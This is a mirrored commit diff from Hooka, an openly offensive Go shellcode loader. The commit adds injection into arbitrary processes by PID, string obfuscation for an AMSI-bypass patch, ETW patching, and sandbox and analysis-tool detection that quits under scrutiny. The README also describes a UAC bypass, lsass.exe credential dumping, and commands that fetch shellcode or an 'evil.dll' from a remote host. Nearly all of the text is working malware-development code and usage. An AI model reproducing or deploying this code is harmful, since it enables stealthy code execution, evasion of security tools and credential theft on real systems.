mirror of
https://github.com/D3Ext/Hooka
synced 2026-06-08 10:49:57 +00:00
UAC bypass, anti-sandbox functions, general improvements and more
This commit is contained in:
@@ -41,6 +41,7 @@ However I've also taken some code from [BananaPhone](https://github.com/C-Sto/Ba
|
||||
- EarlyBirdAPC
|
||||
- UuidFromString
|
||||
|
||||
- Inject shellcode into a process (not stable and only works via CreateRemoteThread technique)
|
||||
- Dump lsass.exe process to a file
|
||||
- Windows API hashing (see [here](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware))
|
||||
- Test mode (injects a calc.exe shellcode)
|
||||
@@ -94,6 +95,8 @@ go build .
|
||||
dinamically detect hooked functions by EDR
|
||||
-lsass string
|
||||
dump lsass.exe process memory into a file to extract credentials (run as admin)
|
||||
-pid int
|
||||
PID to inject shellcode into (default: self)
|
||||
-remote-dll string
|
||||
remote url where DLL is stored, especify function separated by comma (i.e. http://192.168.1.37/evil.dll,xyz)
|
||||
-t string
|
||||
@@ -130,6 +133,11 @@ go build .
|
||||
.\Hooka.exe --remote-dll http://192.168.1.37/evil.dll,xyz
|
||||
```
|
||||
|
||||
> Inject shellcode into remote process (i.e. svchost.exe) **Not all techniques covered!!**
|
||||
```sh
|
||||
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --pid 5864
|
||||
```
|
||||
|
||||
> Decode shellcode as hex or base64
|
||||
```sh
|
||||
.\Hooka.exe --file shellcode.bin --hex
|
||||
@@ -179,12 +187,10 @@ As you can see Hooka provides a lot of CLI flags to help you in all kind of situ
|
||||
|
||||
:black_square_button: `--pid` flag to handle process injection
|
||||
|
||||
:black_square_button: Sandboxing functions
|
||||
:ballot_box_with_check: Sandboxing functions
|
||||
|
||||
:black_square_button: Native golang [Phant0m](https://github.com/hlldz/Phant0m) to suspend EventLog threads
|
||||
|
||||
:black_square_button: Integrated Seatbelt.exe using CLR
|
||||
|
||||
:black_square_button: Test unhooking functions against EDRs
|
||||
|
||||
# Library
|
||||
@@ -197,6 +203,10 @@ Do you wanna improve the code with any idea or code optimization? You're in the
|
||||
|
||||
See [CONTRIBUTING.md](https://github.com/D3Ext/Hooka/blob/main/CONTRIBUTING.md)
|
||||
|
||||
# Known issues
|
||||
|
||||
The UAC bypass is not used in the main Hooka loader but you can call the functions using the `pkg/hooka` package. To avoid being detected by AVs, the `ExecUac` function receives a path to execute as administrator (i.e. C:\Windows\System32\cmd.exe) and then it copies the binary to the TEMP folder with a random name. So keep in mind that if you abuse this feature you may notice that you have some .exe files in that dir because the file can't be removed while it is running. However I've created another function called `RemoveUacFiles()` which removes all these files, just ensure that you use it when UAC bypass isn't executing that binary.
|
||||
|
||||
# References
|
||||
|
||||
```
|
||||
|
||||
+1
-1
@@ -9,7 +9,7 @@ import (
|
||||
var amsi_patch = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1}
|
||||
|
||||
func PatchAmsi() (error) {
|
||||
err := WriteBytes("amsi.dll", "AmsiScanBuffer", &amsi_patch)
|
||||
err := WriteBytes(string([]byte{'a','m','s','i','.','d','l','l'}), string([]byte{'A','m', 's','i','S','c','a','n','B','u','f','f','e','r'}), &amsi_patch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -65,6 +65,19 @@ func RandomInt(max int, min int) (int) { // Return a random number between max a
|
||||
return rand_int
|
||||
}
|
||||
|
||||
func RandomString(length int) (string) { // Return random string passing an integer (length)
|
||||
var seededRand *rand.Rand = rand.New(
|
||||
rand.NewSource(time.Now().UnixNano()))
|
||||
const charset = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
|
||||
b := make([]byte, length)
|
||||
for i := range b {
|
||||
b[i] = charset[seededRand.Intn(len(charset))]
|
||||
}
|
||||
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func CalcShellcode() ([]byte) {
|
||||
return []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
package core
|
||||
|
||||
var drivers []string = []string{ // Sandbox drivers taken from https://github.com/LordNoteworthy/al-khaser
|
||||
"C:\\Windows\\System32\\drivers\\VBoxMouse.sys",
|
||||
"C:\\Windows\\System32\\drivers\\VBoxGuest.sys",
|
||||
"C:\\Windows\\System32\\drivers\\VBoxSF.sys",
|
||||
"C:\\Windows\\System32\\drivers\\VBoxVideo.sys",
|
||||
"C:\\Windows\\System32\\vboxdisp.dll",
|
||||
"C:\\Windows\\System32\\vboxhook.dll",
|
||||
"C:\\Windows\\System32\\vboxmrxnp.dll",
|
||||
"C:\\Windows\\System32\\vboxogl.dll",
|
||||
"C:\\Windows\\System32\\vboxoglarrayspu.dll",
|
||||
"C:\\Windows\\System32\\vboxservice.exe",
|
||||
"C:\\Windows\\System32\\vboxtray.exe",
|
||||
"C:\\Windows\\System32\\VBoxControl.exe",
|
||||
"C:\\Windows\\System32\\drivers\\vmmouse.sys",
|
||||
"C:\\Windows\\System32\\drivers\\vmhgfs.sys",
|
||||
"C:\\Windows\\System32\\drivers\\vmci.sys",
|
||||
"C:\\Windows\\System32\\drivers\\vmmemctl.sys",
|
||||
"C:\\Windows\\System32\\drivers\\vmmouse.sys",
|
||||
"C:\\Windows\\System32\\drivers\\vmrawdsk.sys",
|
||||
"C:\\Windows\\System32\\drivers\\vmusbmouse.sys",
|
||||
}
|
||||
|
||||
var processes []string = []string{ // Sandbox processes taken from https://github.com/LordNoteworthy/al-khaser
|
||||
"vboxservice.exe",
|
||||
"vboxtray.exe",
|
||||
"vmtoolsd.exe",
|
||||
"vmwaretray.exe",
|
||||
"vmware.exe",
|
||||
"vmware-vmx.exe",
|
||||
"vmwareuser",
|
||||
"VGAuthService.exe",
|
||||
"vmacthlp.exe",
|
||||
"vmsrvc.exe",
|
||||
"vmusrvc.exe",
|
||||
"xenservice.exe",
|
||||
"qemu-ga.exe",
|
||||
// Some extra processes (added by me)
|
||||
"wireshark.exe",
|
||||
"Procmon.exe",
|
||||
"Procmon64.exe",
|
||||
"volatily.exe",
|
||||
"volatily3.exe",
|
||||
"DumpIt.exe",
|
||||
"dumpit.exe",
|
||||
}
|
||||
|
||||
var hostnames_list []string = []string{
|
||||
"Sandbox",
|
||||
"SANDBOX",
|
||||
"malware",
|
||||
"virus",
|
||||
"Virus",
|
||||
"sample",
|
||||
"debug",
|
||||
"USER-PC",
|
||||
"analysis",
|
||||
"cuckoo",
|
||||
"cuckoofork",
|
||||
"Cuckoo",
|
||||
}
|
||||
|
||||
var usernames_list []string = []string{
|
||||
"sandbox",
|
||||
"virus",
|
||||
"malware",
|
||||
"debug4fun",
|
||||
"debug",
|
||||
"sys",
|
||||
"user1",
|
||||
"Virtual",
|
||||
"virtual",
|
||||
"analyis",
|
||||
"trans_iso_0",
|
||||
"j.yoroi",
|
||||
"venuseye",
|
||||
"VenusEye",
|
||||
"VirusTotal",
|
||||
"virustotal",
|
||||
}
|
||||
|
||||
+54
-36
@@ -19,39 +19,57 @@ import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func CreateProcess(shellcode []byte) (error) {
|
||||
func CreateProcess(shellcode []byte, pid int) (error) {
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
OpenProcess := kernel32.NewProc("OpenProcess")
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
|
||||
|
||||
procInfo := &windows.ProcessInformation{}
|
||||
startupInfo := &windows.StartupInfo{
|
||||
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
|
||||
var pHandle uintptr
|
||||
var pThread uintptr
|
||||
|
||||
if (pid == 0) { // Use default technique (spawn a notepad.exe in suspended state)
|
||||
procInfo := &windows.ProcessInformation{}
|
||||
startupInfo := &windows.StartupInfo{
|
||||
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
|
||||
}
|
||||
|
||||
errCreateProcess := windows.CreateProcess(
|
||||
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
|
||||
syscall.StringToUTF16Ptr(""),
|
||||
nil,
|
||||
nil,
|
||||
true,
|
||||
windows.CREATE_SUSPENDED,
|
||||
nil,
|
||||
nil,
|
||||
startupInfo,
|
||||
procInfo,
|
||||
)
|
||||
if errCreateProcess != nil {
|
||||
return errCreateProcess
|
||||
}
|
||||
|
||||
pHandle = uintptr(procInfo.Process)
|
||||
pThread = uintptr(procInfo.Thread)
|
||||
|
||||
} else {
|
||||
pHandle, _, _ = OpenProcess.Call(
|
||||
windows.PROCESS_CREATE_THREAD | windows.PROCESS_VM_OPERATION | windows.PROCESS_VM_WRITE | windows.PROCESS_VM_READ | windows.PROCESS_QUERY_INFORMATION,
|
||||
uintptr(0),
|
||||
uintptr(pid),
|
||||
)
|
||||
|
||||
|
||||
}
|
||||
|
||||
errCreateProcess := windows.CreateProcess(
|
||||
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
|
||||
syscall.StringToUTF16Ptr(""),
|
||||
nil,
|
||||
nil,
|
||||
true,
|
||||
windows.CREATE_SUSPENDED,
|
||||
nil,
|
||||
nil,
|
||||
startupInfo,
|
||||
procInfo,
|
||||
)
|
||||
if errCreateProcess != nil {
|
||||
return errCreateProcess
|
||||
}
|
||||
|
||||
addr, _, _ := VirtualAllocEx.Call(
|
||||
uintptr(procInfo.Process),
|
||||
uintptr(pHandle),
|
||||
0,
|
||||
uintptr(len(shellcode)),
|
||||
windows.MEM_COMMIT | windows.MEM_RESERVE,
|
||||
@@ -64,7 +82,7 @@ func CreateProcess(shellcode []byte) (error) {
|
||||
|
||||
// Write shellcode into child process memory
|
||||
WriteProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
uintptr(pHandle),
|
||||
addr,
|
||||
(uintptr)(unsafe.Pointer(&shellcode[0])),
|
||||
uintptr(len(shellcode)),
|
||||
@@ -72,7 +90,7 @@ func CreateProcess(shellcode []byte) (error) {
|
||||
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
VirtualProtectEx.Call(
|
||||
uintptr(procInfo.Process),
|
||||
uintptr(pHandle),
|
||||
addr,
|
||||
uintptr(len(shellcode)),
|
||||
windows.PAGE_EXECUTE_READ,
|
||||
@@ -82,7 +100,7 @@ func CreateProcess(shellcode []byte) (error) {
|
||||
var processInformation PROCESS_BASIC_INFORMATION
|
||||
var returnLength uintptr
|
||||
ntStatus, _, _ := NtQueryInformationProcess.Call(
|
||||
uintptr(procInfo.Process),
|
||||
uintptr(pHandle),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&processInformation)),
|
||||
unsafe.Sizeof(processInformation),
|
||||
@@ -93,7 +111,7 @@ func CreateProcess(shellcode []byte) (error) {
|
||||
if ntStatus == 3221225476 {
|
||||
return errors.New("Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
|
||||
}
|
||||
fmt.Println(fmt.Sprintf("[!] NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
|
||||
fmt.Println(fmt.Sprintf("NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
|
||||
return errors.New("Error calling NtQueryInformationProcess")
|
||||
}
|
||||
|
||||
@@ -104,7 +122,7 @@ func CreateProcess(shellcode []byte) (error) {
|
||||
var readBytes int32
|
||||
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
uintptr(pHandle),
|
||||
processInformation.PebBaseAddress,
|
||||
uintptr(unsafe.Pointer(&peb)),
|
||||
unsafe.Sizeof(peb),
|
||||
@@ -138,7 +156,7 @@ func CreateProcess(shellcode []byte) (error) {
|
||||
var readBytes2 int32
|
||||
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
uintptr(pHandle),
|
||||
peb.ImageBaseAddress,
|
||||
uintptr(unsafe.Pointer(&dosHeader)),
|
||||
unsafe.Sizeof(dosHeader),
|
||||
@@ -156,7 +174,7 @@ func CreateProcess(shellcode []byte) (error) {
|
||||
var readBytes3 int32
|
||||
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
uintptr(pHandle),
|
||||
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew),
|
||||
uintptr(unsafe.Pointer(&Signature)),
|
||||
unsafe.Sizeof(Signature),
|
||||
@@ -173,7 +191,7 @@ func CreateProcess(shellcode []byte) (error) {
|
||||
var readBytes4 int32
|
||||
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
uintptr(pHandle),
|
||||
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature),
|
||||
uintptr(unsafe.Pointer(&peHeader)),
|
||||
unsafe.Sizeof(peHeader),
|
||||
@@ -186,7 +204,7 @@ func CreateProcess(shellcode []byte) (error) {
|
||||
|
||||
if peHeader.Machine == 34404 { // 0x8664
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
uintptr(pHandle),
|
||||
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
|
||||
uintptr(unsafe.Pointer(&optHeader64)),
|
||||
unsafe.Sizeof(optHeader64),
|
||||
@@ -195,7 +213,7 @@ func CreateProcess(shellcode []byte) (error) {
|
||||
|
||||
} else if peHeader.Machine == 332 { // 0x14c
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
uintptr(pHandle),
|
||||
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
|
||||
uintptr(unsafe.Pointer(&optHeader32)),
|
||||
unsafe.Sizeof(optHeader32),
|
||||
@@ -238,26 +256,26 @@ func CreateProcess(shellcode []byte) (error) {
|
||||
epBuffer = append(epBuffer, byte(0xe0))
|
||||
|
||||
WriteProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
uintptr(pHandle),
|
||||
ep,
|
||||
uintptr(unsafe.Pointer(&epBuffer[0])),
|
||||
uintptr(len(epBuffer)),
|
||||
)
|
||||
|
||||
// Resume the child process
|
||||
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
|
||||
_, errResumeThread := windows.ResumeThread(windows.Handle(pThread))
|
||||
if errResumeThread != nil {
|
||||
return errors.New(fmt.Sprintf("Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
|
||||
}
|
||||
|
||||
// Close the handle to the child process
|
||||
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
|
||||
errCloseProcHandle := windows.CloseHandle(windows.Handle(pHandle))
|
||||
if errCloseProcHandle != nil {
|
||||
return errors.New(fmt.Sprintf("Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
|
||||
}
|
||||
|
||||
// Close the hand to the child process thread
|
||||
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
|
||||
errCloseThreadHandle := windows.CloseHandle(windows.Handle(pThread))
|
||||
if errCloseThreadHandle != nil {
|
||||
return errors.New(fmt.Sprintf("Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
|
||||
}
|
||||
@@ -271,7 +289,7 @@ This function uses Hell's Gate + Halo's Gate technique
|
||||
|
||||
*/
|
||||
|
||||
func CreateProcessHalos(shellcode []byte) (error) {
|
||||
func CreateProcessHalos(shellcode []byte, pid int) (error) {
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
|
||||
@@ -10,17 +10,29 @@ import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func CreateRemoteThread(shellcode []byte) (error) {
|
||||
func CreateRemoteThread(shellcode []byte, pid int) (error) {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
|
||||
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
OpenProcess := kernel32.NewProc("OpenProcess")
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
|
||||
CloseHandle := kernel32.NewProc("CloseHandle")
|
||||
|
||||
pHandle, _, _ := GetCurrentProcess.Call()
|
||||
var pHandle uintptr
|
||||
//var errOpenProc error
|
||||
|
||||
if (pid == 0) {
|
||||
pHandle, _, _ = GetCurrentProcess.Call()
|
||||
} else {
|
||||
pHandle, _, _ = OpenProcess.Call(
|
||||
windows.PROCESS_CREATE_THREAD | windows.PROCESS_VM_OPERATION | windows.PROCESS_VM_WRITE | windows.PROCESS_VM_READ | windows.PROCESS_QUERY_INFORMATION,
|
||||
uintptr(0),
|
||||
uintptr(pid),
|
||||
)
|
||||
}
|
||||
|
||||
addr, _, _ := VirtualAllocEx.Call(
|
||||
uintptr(pHandle),
|
||||
@@ -70,11 +82,9 @@ func CreateRemoteThread(shellcode []byte) (error) {
|
||||
|
||||
/*
|
||||
|
||||
Hell's Gate + Halo's Gate function
|
||||
|
||||
*/
|
||||
|
||||
func CreateRemoteThreadHalos(shellcode []byte) (error) {
|
||||
func CreateRemoteThreadHalos(shellcode []byte, pid int) (error) {
|
||||
kernel32DLL := windows.NewLazySystemDLL("kernel32.dll")
|
||||
VirtualProtectEx := kernel32DLL.NewProc("VirtualProtectEx")
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@ import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func EarlyBirdApc(shellcode []byte) (error){
|
||||
func EarlyBirdApc(shellcode []byte, pid int) (error){
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
|
||||
+2
-5
@@ -16,8 +16,6 @@ func PatchEtw() (error) {
|
||||
procEtwEventWriteString := ntdll.NewProc("EtwEventWriteString")
|
||||
procEtwEventWriteTransfer := ntdll.NewProc("EtwEventWriteTransfer")
|
||||
|
||||
handle := uintptr(0xffffffffffffffff)
|
||||
|
||||
dataAddr := []uintptr{
|
||||
procEtwEventWriteFull.Addr(),
|
||||
procEtwEventWrite.Addr(),
|
||||
@@ -29,14 +27,13 @@ func PatchEtw() (error) {
|
||||
for i, _ := range dataAddr {
|
||||
|
||||
data, _ := hex.DecodeString("4833C0C3")
|
||||
var nLength uintptr
|
||||
|
||||
procWriteProcessMemory.Call(
|
||||
uintptr(handle),
|
||||
uintptr(0xffffffffffffffff),
|
||||
uintptr(dataAddr[i]),
|
||||
uintptr(unsafe.Pointer(&data[0])),
|
||||
uintptr(len(data)),
|
||||
uintptr(unsafe.Pointer(&nLength)),
|
||||
0,
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
@@ -201,4 +201,12 @@ type imageExportDir struct {
|
||||
AddressOfNameOrdinals uint32
|
||||
}
|
||||
|
||||
type memStatusEx struct { // Auxiliary struct to retrieve total memory
|
||||
dwLength uint32
|
||||
dwMemoryLoad uint32
|
||||
ullTotalPhys uint64
|
||||
ullAvailPhys uint64
|
||||
unused [5]uint64
|
||||
}
|
||||
|
||||
|
||||
|
||||
+1
-1
@@ -30,7 +30,7 @@ const (
|
||||
PAGE_READWRITE = 0x04
|
||||
)
|
||||
|
||||
func Fibers(shellcode []byte) (error) {
|
||||
func Fibers(shellcode []byte, pid int) (error) {
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
+8
-7
@@ -6,11 +6,9 @@ This package returns CLI flags with customizble options
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"flag"
|
||||
)
|
||||
import "flag"
|
||||
|
||||
func ParseFlags() (string, string, string, string, string, bool, bool, int, bool, bool, bool, bool, bool, string) {
|
||||
func ParseFlags() (string, string, string, string, string, bool, bool, int, bool, bool, bool, bool, bool, string, int) {
|
||||
var sc_url string
|
||||
var sc_file string
|
||||
var dll_file string
|
||||
@@ -25,7 +23,8 @@ func ParseFlags() (string, string, string, string, string, bool, bool, int, bool
|
||||
var amsi bool
|
||||
var etw bool
|
||||
var lsass_flag string
|
||||
//var pid int
|
||||
var pid int
|
||||
//var elevate bool
|
||||
|
||||
flag.StringVar(&sc_url, "url", "", "remote url where shellcode is stored (e.g. http://192.168.1.37/shellcode.bin)")
|
||||
flag.StringVar(&dll_url, "remote-dll", "", "remote url where DLL is stored, especify function separated by comma (i.e. http://192.168.1.37/evil.dll,xyz)")
|
||||
@@ -41,10 +40,12 @@ func ParseFlags() (string, string, string, string, string, bool, bool, int, bool
|
||||
flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode")
|
||||
flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe")
|
||||
flag.StringVar(&lsass_flag, "lsass", "", "dump lsass.exe process memory into a file to extract credentials (run as admin)")
|
||||
//flag.IntVar(&pid, "pid", 0, "PID to inject shellcode")
|
||||
flag.IntVar(&pid, "pid", 0, "PID to inject shellcode into (default: self)")
|
||||
//flag.BoolVar(&elevate, "e", false, "enable SeDebugPrivilege to be able to interact with system processes")
|
||||
flag.Parse()
|
||||
|
||||
return sc_url, sc_file, dll_file, dll_url, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass_flag // Return all param values
|
||||
// Return all param values
|
||||
return sc_url, sc_file, dll_file, dll_url, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass_flag, pid //elevate
|
||||
}
|
||||
|
||||
|
||||
|
||||
+11
-11
@@ -8,35 +8,35 @@ import (
|
||||
|
||||
var techniques = []string{"CreateRemoteThread", "Fibers", "CreateProcess", "EarlyBirdApc", "UuidFromString"}
|
||||
|
||||
func Inject(shellcode []byte, technique string) (error) {
|
||||
func Inject(shellcode []byte, technique string, pid int) (error) {
|
||||
|
||||
// Check especified injection technique
|
||||
if (strings.ToLower(technique) == "createremotethread") {
|
||||
err := CreateRemoteThread(shellcode)
|
||||
err := CreateRemoteThread(shellcode, pid)
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "fibers") {
|
||||
err := Fibers(shellcode)
|
||||
err := Fibers(shellcode, pid)
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "createprocess") {
|
||||
err := CreateProcess(shellcode)
|
||||
err := CreateProcess(shellcode, pid)
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "earlybirdapc") {
|
||||
err := EarlyBirdApc(shellcode)
|
||||
err := EarlyBirdApc(shellcode, pid)
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "uuidfromstring"){
|
||||
err := UuidFromString(shellcode)
|
||||
err := UuidFromString(shellcode, pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -44,7 +44,7 @@ func Inject(shellcode []byte, technique string) (error) {
|
||||
} else {
|
||||
rand_n := RandomInt(4, 0) // Choose a random technique
|
||||
fmt.Println("[*] Injecting shellcode using " + techniques[rand_n] + " function")
|
||||
err := Inject(shellcode, techniques[rand_n])
|
||||
err := Inject(shellcode, techniques[rand_n], pid)
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
@@ -53,15 +53,15 @@ func Inject(shellcode []byte, technique string) (error) {
|
||||
return nil
|
||||
}
|
||||
|
||||
func InjectHalos(shellcode []byte, technique string) (error) {
|
||||
func InjectHalos(shellcode []byte, technique string, pid int) (error) {
|
||||
if (strings.ToLower(technique) == "createprocess") {
|
||||
err := CreateProcessHalos(shellcode)
|
||||
err := CreateProcessHalos(shellcode, pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "createremotethread") {
|
||||
err := CreateRemoteThreadHalos(shellcode)
|
||||
err := CreateRemoteThreadHalos(shellcode, pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -73,7 +73,7 @@ func InjectHalos(shellcode []byte, technique string) (error) {
|
||||
} else {
|
||||
rand_n := RandomInt(4, 0)
|
||||
fmt.Println("[*] Injecting shellcode using " + techniques[rand_n] + " function")
|
||||
err := InjectHalos(shellcode, techniques[rand_n])
|
||||
err := InjectHalos(shellcode, techniques[rand_n], pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
+2
-2
@@ -17,7 +17,7 @@ import (
|
||||
)
|
||||
|
||||
func DumpLsass(output string) (error) {
|
||||
err := elevateProcessToken()
|
||||
err := ElevateProcessToken()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -70,7 +70,7 @@ func DumpLsass(output string) (error) {
|
||||
return nil
|
||||
}
|
||||
|
||||
func elevateProcessToken() (error) {
|
||||
func ElevateProcessToken() (error) {
|
||||
|
||||
type Luid struct {
|
||||
lowPart uint32 // DWORD
|
||||
|
||||
+208
@@ -1 +1,209 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"os"
|
||||
"time"
|
||||
"errors"
|
||||
"unsafe"
|
||||
"os/user"
|
||||
"syscall"
|
||||
"runtime"
|
||||
"net/http"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
mproc "github.com/D3Ext/maldev/process"
|
||||
)
|
||||
|
||||
func AutoCheck() (error) {
|
||||
mem_check, err := CheckMemory()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if mem_check {
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
drivers_check := CheckDrivers()
|
||||
if drivers_check {
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
proc_check, err := CheckProcess()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if proc_check {
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
disk_check, err := CheckDisk()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if disk_check {
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
internet_check := CheckInternet()
|
||||
if internet_check {
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
hostn_check, err := CheckHostname()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if hostn_check {
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
user_check, err := CheckUsername()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if user_check {
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
cpu_check := CheckCpu()
|
||||
if cpu_check {
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func CheckMemory() (bool, error) {
|
||||
procGlobalMemoryStatusEx := syscall.NewLazyDLL("kernel32.dll").NewProc("GlobalMemoryStatusEx")
|
||||
|
||||
msx := &memStatusEx{
|
||||
dwLength: 64,
|
||||
}
|
||||
|
||||
r1, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(msx)))
|
||||
if r1 == 0 {
|
||||
return false, errors.New("An error has ocurred while executing GlobalMemoryStatusEx")
|
||||
}
|
||||
|
||||
if (msx.ullTotalPhys < 4174967296) {
|
||||
return true, nil // May be a sandbox
|
||||
} else {
|
||||
return false, nil // Not a sandbox
|
||||
}
|
||||
}
|
||||
|
||||
func CheckDisk() (bool, error) {
|
||||
procGetDiskFreeSpaceExW := syscall.NewLazyDLL("kernel32.dll").NewProc("GetDiskFreeSpaceExW")
|
||||
|
||||
lpTotalNumberOfBytes := int64(0)
|
||||
diskret, _, err := procGetDiskFreeSpaceExW.Call(
|
||||
uintptr(unsafe.Pointer(windows.StringToUTF16Ptr("C:\\"))),
|
||||
uintptr(0),
|
||||
uintptr(unsafe.Pointer(&lpTotalNumberOfBytes)),
|
||||
uintptr(0),
|
||||
)
|
||||
|
||||
